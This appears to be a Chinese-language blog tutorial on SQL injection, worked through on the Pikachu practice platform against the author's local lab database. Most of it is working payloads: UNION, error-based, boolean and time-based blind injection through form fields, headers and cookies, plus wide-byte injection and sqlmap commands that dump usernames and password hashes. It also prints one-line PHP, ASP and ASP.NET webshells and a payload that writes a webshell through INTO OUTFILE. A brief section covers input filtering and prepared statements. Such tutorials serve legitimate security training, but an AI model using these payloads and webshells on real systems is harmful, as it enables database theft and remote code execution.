赞
踩
Web应用程序对用户输入的合法性没有判断或者过滤不严,用户在输入的字符串之中注入SQL指令
,导致这些注入进去的恶意指令被数据库误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
比如我们期望用户输入整数的
id
,但是用户输入了上图中下面的语句,这是条能被正常执行的SQL语句,导致表中的数据都会输出
分类根据输入的变量传入到SQL语句是以什么类型拼接的
数字型:user_id=$id
字符型:user_id='$id'
区别就在于id后面的变量$id,也就是用户输入的值
1、注入点测试: 需要先测试交互方式
,判断浏览器提交数据和web浏览器的交互方式。
2、判断字符的类型:整数型还是字符型
3、构造闭合:(字符型需要,整型不需要
,后续有详细解释)
4、查询字段数:在构造SQL语句并判断数据库表的行数
5、判断回显位:通过构造SQL语句,找到数据库回显的位置
6、查询数据库的基本信息:数据库名字、版本
7、爆数据库的敏感信息:数据库表名、字段名(列名)、字符中的数据
由题可知是数字型注入,数字型的注入是可以不带 '
(单引号)的,因为用户的输入是可以直接输入到SQL语句中的。
1、发现注入点
点击查询抓包
1,输入?id=1
正常;
2,输入?id=1'
,报错,
可判断存在SQL注入漏洞
加
' (单引号)
就是为了让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,所以就会报错,如果没有报错,那么就是有可能是被过滤掉或者其他的防护手段
我的理解是 形成了一个闭环,如果注入的时候又多写了一个 ' (单引号)
,这样就是破坏了原有的闭环结构
2、判断字段数
测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。
正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。
因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样的
$id=$_POST['id']
select 字段1,字段2 from 表名 where id=1$id
下面我 BurpSuite 抓包来测试一下,把传入的参数改成下面的语句,看看返回的结果
1 or 1=1
我们把 BurpSuite 中拦截的包发到 Repeater 中,修改id参数的值,查看响应结果。可以看到取出了数据库中全部数据
该sql语句的作用是检索users表中的所有字段
题目这里可以自行设置字段数,这里我设置为2,然后进行抓包改包。
当我们不知道字段数是多少的时候就可以用下面这种方法去判断字段数。
id=1 order by 3
返回错误,提示报错。
id=1 order by 2
返回正常,有回显,所以字段数为2。
对照上一张图、可以看出测试方法的结果是对的。
从1开始递增,直至触发报错,报错前的那个数就是原始查询请求返回结果的列数,当定位不到指定的列,即会触发错误,也就侧面表明其结果有多少列
3、判断回显点
回显点在1或者2这两个数的位置,获得我们想要的信息
id=1 union select 1,2
返回了用户名和邮箱
4、查看用户名和数据库名
id=1 union select user() ,database()
可知用户名为yunche@localhost
,数据库名为yunche
,这个数据库是我创建的,所以是数据库名为这个。
5、查询数据库中的表
1 union select table_name,2 from information_schema.tables where table_schema='yunche'#
6、查询数据库表中的列名(字段名)
1 union select 1,column_name from information_schema.columns where table_name= 'users'#
7、查询表中的数据
1 union select username,password from users #
我们这时候就已经取得了经过md5加密的密码、接着我们随便选取其中一条密码,用在线工具解密一下
大功告成啦!!!
查询数据库下的所有表名
version() :数据库的版本
database() :当前所在的数据库
@@basedir : 数据库的安装目录
@@datadir : 数据库文件的存放目录
user() : 数据库的用户
current_user() : 当前用户名
system_user() : 系统用户名
session_user() :连接到数据库的用户名
schema ():也叫内置库、啥都有,记录了整个数据库的结构,包括库、表、列
我们输入“kobe”,可以得到下面的输出
输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为
$name=$_GET['username']
select 字段1,字段2 from 表名 where username='$name'
我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下
kobe' or 1=1#
这时候我们也能看到这个表中的全部信息了
MySQL中有3种注释:
① #
② – (最后面有个空格)
③ /**/,内联注释,这个可以在SQL语句中间使用。
这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。比如
select 字段1,字段2 from 表名 where username like '%$name%'
由题可知是搜索型注入(get),可直接在url中的name参数后进行修改,输入'
点击查询,报错,判断存在SQL注入
可以用#q对单引号'
进行闭合,后面输入用户名的一部分来查找
这时候也能取出表中的全部数据了
所谓温故而知新、秉着这种态度我把上面做过一次的步骤又重复了一遍
判断字段数
' order by 3 # q
有回显
' order by 4 # q
报错,所以字段数为3
判断回显点
回显点在1或者2这两个数的位置,获得我们想要的信息
' union select 1,2,3 -- q
查看用户名和数据库名
' union select 1,user(),database() --
下面利用 information_shcema 查询数据库中的表名
1' union select null,null,table_name from information_schema.tables where table_schema='yunche'#
有了表名后,我们查询表中的列名
' union select 1,group_concat(username),group_concat(password) from users --
比如查询 users 这个表
搞定
后台存在各种方式拼接我们的SQL语句,所以我们需要尝试构造各种各样的闭合。比如在这里后台就是用括号的方式拼接SQL查询语句、构造的payload如下。
kobe') or 1=1#
该sql语句的作用是检索表中的所有字段、两遍防止遗忘。
又结束一个、送走下一位
正常插入mysql
语句
insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',x,1,2,3,4);
基于insert/update
下的注入
还是那个熟悉的套路,输入一个单引号,单引号报错意味着我们提交的内容在后台参与了SQL
的拼接,导致了一个明显的mysql
的语法错误
在这里,注册页面存在注入漏洞
所谓
insert
注入是指我们前端注册的信息,后台会通过 insert
这个操作插入到数据库中。如果后台没对我们的输入做防 SQL
注入处理,我们就能在注册时通过拼接 SQL
注入
这种情况下,我们知道后台使用的是 insert
语句
insert into member(username,pw,sex,phonenum,email,address) values('xiaohong',x,1,2,3,4);
我们一般可以通过 or
进行闭合
xiaohong' or updatexml(1,concat(0x7e,database()),0) or '
基于delete
下的报错
这里有一个留言板,点删除可以把对应的留言删掉
我们点删除并用 BurpSuite 抓包,实际上就是传递了一个留言的
id
,后台根据这个 id
去删除留言
构建语句
1 or updatexml(1,concat(0x7e,database()),0)
由于是get
方式提交,需要对其进行URL
编码
最后得到了数据库的名称
在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。insert/update是插入和更新的意思,这两个场景的注入,post数据包里的每一个参数都可以注入
常用的报错函数:updatexml()、extractvalue()、floor()
技巧思路,在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息
背景条件,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端
select * from major where id=1 and updatexml(1,concat(0x26,(select database()),0x26),3)
;
原理
由于updatexml的第二个参数需要Xpath格式的字符串,以0x26开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入。
举个栗子
kobe' and updatexml (1,version(),0)#
通过上面语句,获取到了数据库的版本,不过只打印了一部分内容
接着改进语句,为了让我们的信息完整打印出来
kobe' and updatexml (1,concat(0x7e,version()),0)#
获取到了完整的数据库的版本
这里利用 mysql里面的一个方法,concat就是把里面的参数,传进去的两个参数组合成一个字符串打印出来
0x7e是~符号的十六进制,也可以用其他符号的十六进制,主要是为了避免我们的信息不被报错的内容吃掉,然后拼接成一个完整的信息显示出来
紧接着我们只要把version
替换成database
kobe' and updatexml (1,concat(0x7e,database()),0)#
就能获取数据库的名称
小拓展
报错只能一次显示一行
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='yunche')),0)#
提交后显示返回的数据多于一行,显示的时候如果有多行的话是不会显示出来的
可以使用limit
一次一次进行获取表名
kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='yunche' limit 0,1)),0)#
以此类推修改limit x,1
获取到表名后,在获取列名,思路是一样的
kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='user' limit 0,1)),0)#
以此类推修改limit x,1
获得到列名称后
kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#
再来获取数据
得到了这个账号的字段,接着可以通过条件
username='admin'
去查admin
的password
,同样的取一个,把这个用户的密码打印出来
kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#
原理
当Xpath路径语法错误时,就会报错,同时报错内容含有错误的路径内容。在updatexml()函数和extractvalue()函数中,都是通过对第二个参数Xpath进行修改,输入错误的格式,进行报错回显,来达到SQL注入
核心原理是一样的,也是对 XML
同样在字符型漏洞中实验,构造以下 payload
' and extractvalue(1, concat(0x7e,database())) #
它跟 updatexml
使用起来效果是一样的
原理
重复录用的报错(主键冲突了),利用 count()
函数 、rand()
函数 、floor()
函数 、group by
这几个特定的函数结合在一起产生的注入漏洞,缺一不可。
kobe ' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) #
group by
对rand()
函数进行操作时产生错误
concat;连接字符串功能
floor:取float的整数值
rand:去0~1之间随机浮点数
group by:根据一个或多个列对结果集进行分组并有排序功能
有些时候,后台开发人员为了验证客户端头信息(比如cookie
验证),或者通过http header
获取客户端的一些信息,比如useragent
,accept
字段等
会对客户端的http header
信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑
则可能会导致基于 http header
的 SQL
注入漏洞
登录账号:admin / 123456
登陆之后会记录以下信息
根据这个功能,我们知道后台会获取 http header
里的数据,比如 user agent
等。那么它有对数据库操作吗?下面BurpSuite
修改发包内容
把 User-Agent
改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL
语法错误,这说明存在 SQL 注入漏洞,后台可能会 insert
到数据库中,这个 payload
跟前面的 insert
实验的是一样的
firefox' or updatexml(1,concat(0x7e,database()),0) or '
还有 cookie
也是可以注入的,后端可能会取得我们的 cookie
,后端通过拼接 SQL
语句进行验证,可以在 cookie 的用户名后面加上一个单引号并发送,这时候会报 MySQL 的语法错误,说明存在 SQL 注入漏洞,我们可以构造下面的 payload
进行测试
' and updatexml(1,concat(0x7e,database()),0) #
然后我们也会取得数据库名,再按常用方法继续测试取得数据库中的数据即可
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错
此时无法根据报错信息来进行注入的判断
这种情况下的注入,称为盲注
没有报错信息
不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断
我们在皮卡丘平台一进行实验,输入下面的测试语句
kobe' and 1=1#
kobe' and 1=2#
发现一条正确执行,一条显示用户名不存在,说明后台存在 SQL 注入漏洞
因为这里的输出只有 用户名存在 和 用户名不存在 两种输出,所以前面基于报错的方式在这不能用。
我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的。
我们可以先用 length(database()) 判断 数据库名称的长度
1'and length(database())>=1–+ 页面返回正常
1'and length(database())>=8–+ 页面返回错误
由此判断得到数据库名的长度是7个字符
再用 substr()
和 ascii()
判断数据库由哪些字母组成(可以用二分法)
查询命令:id=1 and (ascii(substr(database(),1,1))>110)
这里就使用了ascii函数和substr截断函数,来判断数据库名称的第一个字符的ascii码是否大于110这个值,这里回显就是正确的,证明第一个字符的ascii码大于110,然后以此类推判断是否大于111、112、113…,最后就可以得到具体值是多少
数据库第一个字符的ascii码是115,对应的115的ascii码值为s,然后根据substr()函数的使用,修改第二个参数start可以指定字符串截取的位置,所以这里就修改substr(database(),x,1)中x参数的值为2、3、4,就可以依次获得剩下的2、3、4位字符的ascii码值,就可以得到对应的数据库名字
kobe' and ascii(substr(database(), 1, 1)) > 105#
页面返回错误
kobe' and ascii(substr(database(), 1, 1)) = 112#
页面返回正常
下一步就需要查询数据库中的表
查询命令:1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0
这里是通过在information_schema.tables
(tables
表存放了所有数据库的库名和表名)中查找table_name
(表名),条件则是table_schema(表所属数据库的名字)= database
,这里使用了limit
关键字,limit 0,1
就是第一条数据,然后将第一条数据进行判断是否大于0,再修改limit x,1
中的x
参数来判断后续的数据是否大于0,这样就可以判断是否存在表,因为大于0的话就证明是存在数据的,那就是存在表,如果不大于0,则就是为空,那么就不存在数据,这种判断思想也可以进行判断字段数(列数),所以这里就可以知道sql
数据库中存在两个表
接着对表的名称的长度进行判断
查询命令:1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=4
利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒
基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数
我们按 F12 打开控制台,选到网络,然后我们输入下面的 payload 进行测试
kobe' and sleep(5)#
如果存在注入点,后端就会 sleep 5秒才会返回执行结果
时间注入模板语句:
例子:if(length(database())>1,sleep(3),1)
如果数据库库名的长度大于1,则MySQL查询休眠3秒,否则查询1。查询1的结果大约一般只有几十毫秒,根据网页的响应时间,就可以判断条件是否正确
优点:不需要显示位,不需要出错信息。
缺点:速度慢,耗费大量时间
kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
一句话木马
原理
利用我们的各种语言,里面提供的用来执行代码的函数,或者说用来执行操作系统命令的一些函数
通过他去构造一个简单的木马程序,把这个函数直接写到一个文件上去,然后通过对这个文件的访问,然后去执行这个函数,然后去传入对应的操作
因为这个函数是用来执行代码的函数,或者说用来执行操作系统命令的,那我们传进去的内容就会被作为远程控制的操作去执行,从而实现对客户端的一个控制。
短小而精悍的木马客户端,隐蔽性好,功能强大。
PHP:<?php @eval($_POST['cmd']);?>
ASP:<%eval request("cmd")%>
ASP.NET:<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"], "unsafe");%>
通过 SQL 注入漏洞写入恶意代码
前提条件:
1.需要知道远程目录
2.需要远程目录有写权限
3.要数据库开启了 secure_file_priv、MySQL新特性,没有开启的话 into outfile 是不能写入的
我们先开启 secure_file_priv
,在服务器中输入下面的 MySQL 命令查看 secure_file_priv
开启情况。如果不为空,而是 null
,就需要
show global variables like "%secure%";
下面我们在 字符型注入 中进行实验,构造的 payload 如下
kobe' union select "<?php @eval($_GET['test']);?>", 2 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\1.php"#
这时候,我们 select 出来的内容就被写入到了 1.php 中
,然后我们就能通过这个文件执行 php 代码
我们还可以用 中国菜刀 连上我们写入的一句话木马
我们之前都是通过 information_schema
去获取的信息,很多时候我们没有权限去读取里面内容,也可能是别的数据库,没有 information_schema
常用的方法就是用暴力破解的方式去获得表名和列名
kobe' and exists(select * from aa)#
比如用上面的 payload,遍历我们字典中的表名,把 拦截 的数据包发到 BurpSuite 中的 Intruder 中,暴力破解 表名即可
表名不存在时,会提示 doesn’t exist,我们匹配这句话
这时候就爆破出一个表名了 —users
。
然后同样的思路爆破列名
kobe' and exists(select aa from users)#
1.输入验证
验证所有应用程序接收到的输入是否合法
白名单:比如ID
值,那么我们判断它是否为数字
黑名单:使用正则表达式禁止使用某些字符和字符串,对用户输入的特殊字符进行严格过滤
2.服务器端在提交数据库进⾏ SQL 查询之前,对特殊字符进⾏过滤、转义、替换、删除。
3.预编译
SQL注入只对SQL语句的编译过程有破坏作用,而预编译语句已经处理好了,执行的时候只会把输入串作为数据处理,而不是作为SQL命令执行。不再对SQL语句进行解析
用 sqlmap 测试是否存在注入点
sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2
找到了一个注入点,参数是 name,后面是 sqlmap 使用的payload
然后使用 --current-db 查看当前的库名
sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2--current-db
用 -D 指定我们数据库名,用 --tables 去获取表名
sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 -D pikachu --tables
然后获取表中的列名
sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 -D pikachu -T users --columns
然后获取 users
表中的用户名和密码
sqlmap -u http://yunche.com/vul/sqli/sqli_blind_b.php?name=666&submit=%E6%9F%A5%E8%AF%A2 '' -D pikachu -T users -C username,password --dump
然后我们可以用 sqlmap 自带的字典爆破明文密码
原理:源于程序员设置MySQL连接时的错误配置
set character_set_client=gdk
mysql
的一个特性
在使用gbk
编码的时候,会认为两个字节为一个汉字
在PHP中使用addslashes
函数的时候,会对单引号(%27)
进行转义,在前面加一个反斜杠"\"
,变成%5c%27
,可以在前面添加%df
,形成%df%5c%27
,而数据中前面的%df%5c
两个字节会被当成一个汉字、%5c
被吃掉了、单引号由此逃逸,可以用来闭合语句
防止宽字节注入的另一个方法就是将
character_set_client 设置为binary(二进制)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。